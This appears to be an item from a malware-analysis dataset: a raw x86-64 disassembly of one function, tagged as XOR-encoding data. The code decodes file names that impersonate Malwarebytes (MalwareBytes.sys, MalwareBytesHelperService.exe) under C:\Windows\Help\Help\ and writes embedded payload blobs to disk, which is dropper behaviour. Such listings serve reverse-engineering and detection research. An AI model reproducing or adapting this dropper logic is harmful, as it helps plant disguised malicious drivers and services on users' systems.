Function at 0x140049ab0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x2d8]
sub rsp, 0x3d0
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x1401430c0]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400c2368
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], reloc.WS2_32.dll_setsockopt
mov qword [rbp - 0x80], Ordinal_33
movups xmm0, xmmword [str.C:WindowsHelpHelp_]
movups xmmword [rax], xmm0
mov ecx, dword [0x14012ed40]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x14012ed44]
mov byte [rax + 0x14], cl
mov byte [rax + 0x15], bl
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400c2368
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], reloc.WS2_32.dll_recv
mov qword [rbp - 0x40], Ordinal_33
movups xmm0, xmmword [str.MalwareBytes.sys]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], bl
movdqa xmm6, xmmword [0x14012fc80]
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x28]
call fcn.140054940
lea r8, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova r8, qword [rbp + 0x28]
lea rcx, [rbp + 0x28]
cmova rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x38]
add rdx, rcx
mov eax, ebx
mov rcx, rdx
sub rcx, r8
cmp r8, rdx
cmova rcx, rbx
test rcx, rcx
je 0x140049c08
cmp rcx, 0x40
jb 0x140049c08
and rcx, 0xffffffffffffffc0
movdqu xmm0, xmmword [r8]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [r8], xmm1
movdqu xmm0, xmmword [r8 + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x10], xmm1
movdqu xmm0, xmmword [r8 + 0x20]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x20], xmm1
movdqu xmm0, xmmword [r8 + 0x30]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x30], xmm1
add r8, 0x40
add rax, 0x40
cmp rax, rcx
jne 0x140049bb1
cmp r8, rdx
je 0x140049c1c
nop dword [rax]
xor byte [r8], 0x4b
inc r8
cmp r8, rdx
jne 0x140049c10
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 8]
call fcn.140054940
lea r8, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova r8, qword [rbp + 8]
lea rcx, [rbp + 8]
cmova rcx, qword [rbp + 8]
mov rdx, qword [rbp + 0x18]
add rdx, rcx
mov rcx, rbx
mov rax, rdx
sub rax, r8
cmp r8, rdx
cmova rax, rbx
test rax, rax
je 0x140049cc7
cmp rax, 0x40
jb 0x140049cc7
and rax, 0xffffffffffffffc0
nop word [rax + rax]
movdqu xmm0, xmmword [r8]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [r8], xmm1
movdqu xmm0, xmmword [r8 + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x10], xmm1
movdqu xmm0, xmmword [r8 + 0x20]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x20], xmm1
movdqu xmm0, xmmword [r8 + 0x30]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [r8 + 0x30], xmm1
add r8, 0x40
add rcx, 0x40
cmp rcx, rax
jne 0x140049c70
cmp r8, rdx
je 0x140049cdc
nop dword [rax]
xor byte [r8], 0x4b
inc r8
cmp r8, rdx
jne 0x140049cd0
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
mov rcx, qword [rsp + 0x78]
sub rax, rcx
mov rdx, qword [rbp - 0x48]
cmp rax, rdx
jb 0x14004a468
lea r9, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova r9, qword [rsp + 0x68]
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rax, qword [rbp - 0x58]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x68]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x68]
call fcn.1400578e0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0x1a0]
call fcn.1400550a0
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1a0], rsi
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
mov r8d, 0x3688
lea rdx, [0x140168ce0]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1a8]
call fcn.140054fe0
test rax, rax
jne 0x140049df0
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400c2368
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x58], reloc.WS2_32.dll_setsockopt
mov qword [rsp + 0x60], Ordinal_33
movups xmm0, xmmword [str.C:WindowsHelpHelp_]
movups xmmword [rax], xmm0
mov edx, dword [0x14012ed40]
mov dword [rax + 0x10], edx
movzx edx, byte [0x14012ed44]
mov byte [rax + 0x14], dl
mov byte [rax + 0x15], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400c2368
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], Ordinal_33
mov qword [rbp - 0x60], Ordinal_33
movups xmm0, xmmword [str.MalwareBytesHelperService.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x14012ed70]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x14012ed78]
mov dword [rax + 0x18], ecx
movzx ecx, byte [0x14012ed7c]
mov byte [rax + 0x1c], cl
mov byte [rax + 0x1d], 0
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x18]
call fcn.140054940
lea r8, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova r8, qword [rbp - 0x18]
lea rcx, [rbp - 0x18]
cmova rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
add rdx, rcx
mov rax, rbx
mov rcx, rdx
sub rcx, r8
cmp r8, rdx
cmova rcx, rbx
test rcx, rcx
je 0x140049f27
cmp rcx, 0x40
jb 0x140049f27
and rcx, 0xffffffffffffffc0
nop dword [rax + rax]
movdqu xmm0, xmmword [r8]
xorps xmm0, xmm6
movdqu xmmword [r8], xmm0
movdqu xmm0, xmmword [r8 + 0x10]
xorps xmm0, xmm6
movdqu xmmword [r8 + 0x10], xmm0
movdqu xmm0, xmmword [r8 + 0x20]
xorps xmm0, xmm6
movdqu xmmword [r8 + 0x20], xmm0
movdqu xmm0, xmmword [r8 + 0x30]
xorps xmm0, xmm6
movdqu xmmword [r8 + 0x30], xmm0
add r8, 0x40
add rax, 0x40
cmp rax, rcx
jne 0x140049ee0
cmp r8, rdx
je 0x140049f3c
nop dword [rax]
xor byte [r8], 0x4b
inc r8
cmp r8, rdx
jne 0x140049f30
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x38]
call fcn.140054940
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rax, qword [rbp - 0x38]
lea rdx, [rbp - 0x38]
cmova rdx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x28]
add r8, rdx
mov rcx, r8
sub rcx, rax
cmp rax, r8
cmova rcx, rbx
test rcx, rcx
je 0x140049fcf
cmp rcx, 0x40
jb 0x140049fcf
and rcx, 0xffffffffffffffc0
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
xorps xmm0, xmm6
movdqu xmmword [rax], xmm0
movdqu xmm0, xmmword [rax + 0x10]
xorps xmm0, xmm6
movdqu xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [rax + 0x20]
xorps xmm0, xmm6
movdqu xmmword [rax + 0x20], xmm0
movdqu xmm0, xmmword [rax + 0x30]
xorps xmm0, xmm6
movdqu xmmword [rax + 0x30], xmm0
add rax, 0x40
add rbx, 0x40
cmp rbx, rcx
jne 0x140049f90
cmp rax, r8
je 0x140049fdf
xor byte [rax], 0x4b
inc rax
cmp rax, r8
jne 0x140049fd4
mov rcx, qword [rsp + 0x58]
sub rdi, rcx
mov rdx, qword [rbp - 0x68]
cmp rdi, rdx
jb 0x14004a462
lea r9, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova r9, qword [rsp + 0x48]
lea rax, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rax, qword [rbp - 0x78]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x48]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x48]
call fcn.1400578e0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x90]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x90]
call fcn.1400550a0
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x90], rsi
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x8c], edx
mov r8d, 0x23c00
lea rdx, [0x140143150]
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x98]
call fcn.140054fe0
test rax, rax
jne 0x14004a0de
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x90]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x90], rsi
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x8c], edx
lea rcx, [rbp + 0x98]
call fcn.140054490
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14004a16e
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a169
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a169
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c2000
movdqa xmm6, xmmword [0x14012f8f0]
movdqu xmmword [rbp + 0x58], xmm6
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14004a1bd
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a1b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a1b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c2000
movdqu xmmword [rbp - 0x28], xmm6
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x14004a204
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a1ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a1ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c2000
movdqu xmmword [rbp - 8], xmm6
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14004a24c
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a246
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a246
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c2000
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14004a28d
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a287
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a287
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c2000
nop
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1a0], rsi
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
lea rcx, [rbp + 0x1a8]
call fcn.140054490
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x14004a320
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a31b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a31b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c2000
movdqu xmmword [rbp + 0x78], xmm6
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x14004a367
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a362
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a362
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c2000
movdqu xmmword [rbp + 0x18], xmm6
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x14004a3ae
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a3a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a3a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c2000
movdqu xmmword [rbp + 0x38], xmm6
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14004a3f6
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a3f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a3f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c2000
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14004a435
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a430
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a430
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c2000
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.1400c1d40
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
call fcn.140048ed0
nop
call fcn.140048ed0
int3